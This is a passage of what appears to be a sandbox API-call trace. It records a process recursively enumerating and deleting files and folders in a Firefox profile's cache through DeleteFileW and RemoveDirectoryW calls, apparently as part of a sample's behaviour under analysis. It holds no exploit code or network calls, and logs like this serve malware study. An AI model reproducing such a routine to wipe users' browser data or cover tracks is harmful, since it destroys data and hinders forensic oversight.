returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\E0" [0117.497] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\E0") returned 84 [0117.497] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.497] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.497] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.497] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\E0", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\E0\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\E0\\*.*" [0117.497] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\E0\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9f3d0ee0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9f3d0ee0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f3d0ee0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.498] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9f3d0ee0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9f3d0ee0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f3d0ee0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.498] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f3d0ee0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9f3d0ee0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f3d0ee0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x405e, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="F17B2d01", cAlternateFileName="")) returned 1 [0117.498] lstrlenW (lpString="F17B2d01") returned 8 [0117.498] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\E0", pszFile="F17B2d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\E0\\F17B2d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\E0\\F17B2d01" [0117.498] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\E0\\F17B2d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\9\\e0\\f17b2d01")) returned 1 [0117.502] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f3d0ee0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9f3d0ee0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f3d0ee0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x405e, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="F17B2d01", cAlternateFileName="")) returned 0 [0117.502] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.503] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.503] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.503] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.503] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\E0" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\9\\e0")) returned 1 [0117.503] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9fa5cb60, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9fa5cb60, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9fa5cb60, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="FD", cAlternateFileName="")) returned 1 [0117.503] lstrlenW (lpString="FD") returned 2 [0117.503] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9", pszFile="FD" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\FD") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\FD" [0117.503] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\FD") returned 84 [0117.503] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.503] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.503] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.503] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\FD", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\FD\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\FD\\*.*" [0117.503] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\FD\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9fa5cb60, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9fa5cb60, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9fa5cb60, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.503] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9fa5cb60, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9fa5cb60, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9fa5cb60, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.503] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9fa5cb60, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9fa5cb60, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9fb1b240, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0xa80f, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="57344d01", cAlternateFileName="")) returned 1 [0117.503] lstrlenW (lpString="57344d01") returned 8 [0117.503] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\FD", pszFile="57344d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\FD\\57344d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\FD\\57344d01" [0117.503] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\FD\\57344d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\9\\fd\\57344d01")) returned 1 [0117.509] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9fa5cb60, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9fa5cb60, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9fb1b240, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0xa80f, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="57344d01", cAlternateFileName="")) returned 0 [0117.509] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.509] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.509] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.509] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.509] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\FD" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\9\\fd")) returned 1 [0117.510] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9fa5cb60, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9fa5cb60, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9fa5cb60, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="FD", cAlternateFileName="")) returned 0 [0117.510] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0117.510] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0117.510] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0117.510] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0117.510] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\9")) returned 1 [0117.510] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7bbcd50, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7bbcd50, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="A", cAlternateFileName="")) returned 1 [0117.510] lstrlenW (lpString="A") returned 1 [0117.510] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\", pszFile="A" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A" [0117.510] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A") returned 81 [0117.510] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e010 [0117.510] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xac) returned 0x9a6e990 [0117.510] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0117.510] PathCombineW (in: pszDest=0x9a6e990, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\*.*" [0117.510] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\*.*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7bbcd50, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7bbcd50, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName=".", cAlternateFileName="")) returned 0x44668e0 [0117.570] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7bbcd50, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7bbcd50, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="..", cAlternateFileName="")) returned 1 [0117.570] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x63682ef0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63682ef0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63682ef0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="AE", cAlternateFileName="")) returned 1 [0117.570] lstrlenW (lpString="AE") returned 2 [0117.570] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A", pszFile="AE" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\AE") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\AE" [0117.570] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\AE") returned 84 [0117.570] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.570] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.570] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.570] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\AE", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\AE\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\AE\\*.*" [0117.570] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\AE\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x63682ef0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63682ef0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63682ef0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.571] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x63682ef0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63682ef0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63682ef0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.571] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63682ef0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63682ef0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63682ef0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x44e8, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="CF1AEd01", cAlternateFileName="")) returned 1 [0117.571] lstrlenW (lpString="CF1AEd01") returned 8 [0117.571] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\AE", pszFile="CF1AEd01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\AE\\CF1AEd01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\AE\\CF1AEd01" [0117.571] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\AE\\CF1AEd01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\a\\ae\\cf1aed01")) returned 1 [0117.571] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63682ef0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63682ef0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63682ef0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x44e8, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="CF1AEd01", cAlternateFileName="")) returned 0 [0117.571] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.571] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.571] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.571] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.571] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\AE" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\a\\ae")) returned 1 [0117.572] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7bbcd50, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7bbcd50, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7bbcd50, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="CE", cAlternateFileName="")) returned 1 [0117.572] lstrlenW (lpString="CE") returned 2 [0117.572] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A", pszFile="CE" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\CE") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\CE" [0117.572] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\CE") returned 84 [0117.572] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.572] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.572] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.572] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\CE", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\CE\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\CE\\*.*" [0117.572] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\CE\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7bbcd50, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7bbcd50, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7bbcd50, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.572] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7bbcd50, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7bbcd50, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7bbcd50, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.572] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7bbcd50, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7bbcd50, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7cc76f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x2322f, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="65483d01", cAlternateFileName="")) returned 1 [0117.572] lstrlenW (lpString="65483d01") returned 8 [0117.572] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\CE", pszFile="65483d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\CE\\65483d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\CE\\65483d01" [0117.572] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\CE\\65483d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\a\\ce\\65483d01")) returned 1 [0117.573] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7bbcd50, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7bbcd50, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7cc76f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x2322f, dwReserved0=0x3c, 